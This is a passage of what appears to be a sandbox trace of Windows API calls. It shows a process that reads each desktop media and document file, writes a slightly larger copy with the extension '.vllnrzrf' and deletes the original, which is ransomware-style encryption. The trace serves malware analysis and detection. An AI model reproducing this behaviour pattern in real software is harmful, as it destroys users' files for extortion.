lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3", lpFilePart=0x0) returned 0x31 [0086.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8xdpr9k.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.361] GetFileType (hFile=0x45c) returned 0x1 [0086.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.361] GetFileType (hFile=0x45c) returned 0x1 [0086.361] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0xd3da [0086.362] ReadFile (in: hFile=0x45c, lpBuffer=0x239ce78, nNumberOfBytesToRead=0xd3da, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x239ce78*, lpNumberOfBytesRead=0x1d00e478*=0xd3da, lpOverlapped=0x0) returned 1 [0086.363] CloseHandle (hObject=0x45c) returned 1 [0086.384] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3.vllnrzrf", lpFilePart=0x0) returned 0x3a [0086.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8xdpr9k.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.386] GetFileType (hFile=0x45c) returned 0x1 [0086.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.386] GetFileType (hFile=0x45c) returned 0x1 [0086.386] WriteFile (in: hFile=0x45c, lpBuffer=0x223c4e8*, nNumberOfBytesToWrite=0xd5da, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x223c4e8*, lpNumberOfBytesWritten=0x1d00e4d8*=0xd5da, lpOverlapped=0x0) returned 1 [0086.387] CloseHandle (hObject=0x45c) returned 1 [0086.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3", lpFilePart=0x0) returned 0x31 [0086.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3", lpFilePart=0x0) returned 0x31 [0086.389] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8xdpr9k.mp3")) returned 1 [0086.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a", lpFilePart=0x0) returned 0x3e [0086.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a", lpFilePart=0x0) returned 0x3e [0086.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a", lpFilePart=0x0) returned 0x3e [0086.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\alekt3wdh5aqz9oqjx_s.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.392] GetFileType (hFile=0x45c) returned 0x1 [0086.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.392] GetFileType (hFile=0x45c) returned 0x1 [0086.392] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x167e3 [0086.392] ReadFile (in: hFile=0x45c, lpBuffer=0x123bbab0, nNumberOfBytesToRead=0x167e3, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x123bbab0*, lpNumberOfBytesRead=0x1d00e478*=0x167e3, lpOverlapped=0x0) returned 1 [0086.396] CloseHandle (hObject=0x45c) returned 1 [0086.414] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a.vllnrzrf", lpFilePart=0x0) returned 0x47 [0086.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\alekt3wdh5aqz9oqjx_s.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.415] GetFileType (hFile=0x45c) returned 0x1 [0086.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.415] GetFileType (hFile=0x45c) returned 0x1 [0086.415] WriteFile (in: hFile=0x45c, lpBuffer=0x12442a98*, nNumberOfBytesToWrite=0x169e3, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x12442a98*, lpNumberOfBytesWritten=0x1d00e4d8*=0x169e3, lpOverlapped=0x0) returned 1 [0086.418] CloseHandle (hObject=0x45c) returned 1 [0086.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a", lpFilePart=0x0) returned 0x3e [0086.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a", lpFilePart=0x0) returned 0x3e [0086.422] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlEKt3WDH5aQZ9OqJX_S.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\alekt3wdh5aqz9oqjx_s.m4a")) returned 1 [0086.425] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv", lpFilePart=0x0) returned 0x3e [0086.425] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv", lpFilePart=0x0) returned 0x3e [0086.425] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv", lpFilePart=0x0) returned 0x3e [0086.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bhzb0ym923vueflfafiw.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.425] GetFileType (hFile=0x45c) returned 0x1 [0086.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.425] GetFileType (hFile=0x45c) returned 0x1 [0086.425] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x8019 [0086.425] ReadFile (in: hFile=0x45c, lpBuffer=0x226d470, nNumberOfBytesToRead=0x8019, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x226d470*, lpNumberOfBytesRead=0x1d00e478*=0x8019, lpOverlapped=0x0) returned 1 [0086.426] CloseHandle (hObject=0x45c) returned 1 [0086.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv.vllnrzrf", lpFilePart=0x0) returned 0x47 [0086.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bhzb0ym923vueflfafiw.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.435] GetFileType (hFile=0x45c) returned 0x1 [0086.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.435] GetFileType (hFile=0x45c) returned 0x1 [0086.435] WriteFile (in: hFile=0x45c, lpBuffer=0x22ab868*, nNumberOfBytesToWrite=0x8219, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x22ab868*, lpNumberOfBytesWritten=0x1d00e4d8*=0x8219, lpOverlapped=0x0) returned 1 [0086.437] CloseHandle (hObject=0x45c) returned 1 [0086.441] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv", lpFilePart=0x0) returned 0x3e [0086.441] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv", lpFilePart=0x0) returned 0x3e [0086.441] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhZb0YM923vueflfafIW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bhzb0ym923vueflfafiw.flv")) returned 1 [0086.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp", lpFilePart=0x0) returned 0x3b [0086.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp", lpFilePart=0x0) returned 0x3b [0086.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp", lpFilePart=0x0) returned 0x3b [0086.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bkti-dmgskp8uvqjf.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.445] GetFileType (hFile=0x45c) returned 0x1 [0086.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.445] GetFileType (hFile=0x45c) returned 0x1 [0086.445] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x52a1 [0086.445] ReadFile (in: hFile=0x45c, lpBuffer=0x22b4680, nNumberOfBytesToRead=0x52a1, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x22b4680*, lpNumberOfBytesRead=0x1d00e478*=0x52a1, lpOverlapped=0x0) returned 1 [0086.446] CloseHandle (hObject=0x45c) returned 1 [0086.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp.vllnrzrf", lpFilePart=0x0) returned 0x44 [0086.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bkti-dmgskp8uvqjf.odp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.456] GetFileType (hFile=0x45c) returned 0x1 [0086.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.456] GetFileType (hFile=0x45c) returned 0x1 [0086.456] WriteFile (in: hFile=0x45c, lpBuffer=0x22ddb00*, nNumberOfBytesToWrite=0x54a1, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x22ddb00*, lpNumberOfBytesWritten=0x1d00e4d8*=0x54a1, lpOverlapped=0x0) returned 1 [0086.457] CloseHandle (hObject=0x45c) returned 1 [0086.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp", lpFilePart=0x0) returned 0x3b [0086.499] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp", lpFilePart=0x0) returned 0x3b [0086.499] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BkTI-dmgsKp8uVqJf.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bkti-dmgskp8uvqjf.odp")) returned 1 [0086.502] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png", lpFilePart=0x0) returned 0x2e [0086.502] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png", lpFilePart=0x0) returned 0x2e [0086.502] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png", lpFilePart=0x0) returned 0x2e [0086.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f0ew.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.502] GetFileType (hFile=0x45c) returned 0x1 [0086.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.502] GetFileType (hFile=0x45c) returned 0x1 [0086.502] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x1ce9 [0086.503] ReadFile (in: hFile=0x45c, lpBuffer=0x22e3b38, nNumberOfBytesToRead=0x1ce9, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x22e3b38*, lpNumberOfBytesRead=0x1d00e478*=0x1ce9, lpOverlapped=0x0) returned 1 [0086.504] CloseHandle (hObject=0x45c) returned 1 [0086.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png.vllnrzrf", lpFilePart=0x0) returned 0x37 [0086.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f0ew.png.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.511] GetFileType (hFile=0x45c) returned 0x1 [0086.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.511] GetFileType (hFile=0x45c) returned 0x1 [0086.511] WriteFile (in: hFile=0x45c, lpBuffer=0x22f4368*, nNumberOfBytesToWrite=0x1ee9, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x22f4368*, lpNumberOfBytesWritten=0x1d00e4d8*=0x1ee9, lpOverlapped=0x0) returned 1 [0086.513] CloseHandle (hObject=0x45c) returned 1 [0086.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png", lpFilePart=0x0) returned 0x2e [0086.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png", lpFilePart=0x0) returned 0x2e [0086.515] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f0Ew.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f0ew.png")) returned 1 [0086.517] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp", lpFilePart=0x0) returned 0x2e [0086.517] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp", lpFilePart=0x0) returned 0x2e [0086.518] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp", lpFilePart=0x0) returned 0x2e [0086.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.518] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fclx.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.518] GetFileType (hFile=0x45c) returned 0x1 [0086.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.518] GetFileType (hFile=0x45c) returned 0x1 [0086.518] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x10a65 [0086.518] ReadFile (in: hFile=0x45c, lpBuffer=0x22f6d50, nNumberOfBytesToRead=0x10a65, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x22f6d50*, lpNumberOfBytesRead=0x1d00e478*=0x10a65, lpOverlapped=0x0) returned 1 [0086.520] CloseHandle (hObject=0x45c) returned 1 [0086.532] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp.vllnrzrf", lpFilePart=0x0) returned 0x37 [0086.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fclx.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.612] GetFileType (hFile=0x45c) returned 0x1 [0086.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.612] GetFileType (hFile=0x45c) returned 0x1 [0086.612] WriteFile (in: hFile=0x45c, lpBuffer=0x2353860*, nNumberOfBytesToWrite=0x10c65, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x2353860*, lpNumberOfBytesWritten=0x1d00e4d8*=0x10c65, lpOverlapped=0x0) returned 1 [0086.617] CloseHandle (hObject=0x45c) returned 1 [0086.620] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp", lpFilePart=0x0) returned 0x2e [0086.620] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp", lpFilePart=0x0) returned 0x2e [0086.620] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FClx.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fclx.bmp")) returned 1 [0086.625] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv", lpFilePart=0x0) returned 0x3b [0086.625] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv", lpFilePart=0x0) returned 0x3b [0086.625] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv", lpFilePart=0x0) returned 0x3b [0086.625] SetThreadErrorMode (dwNewMode=0x1, 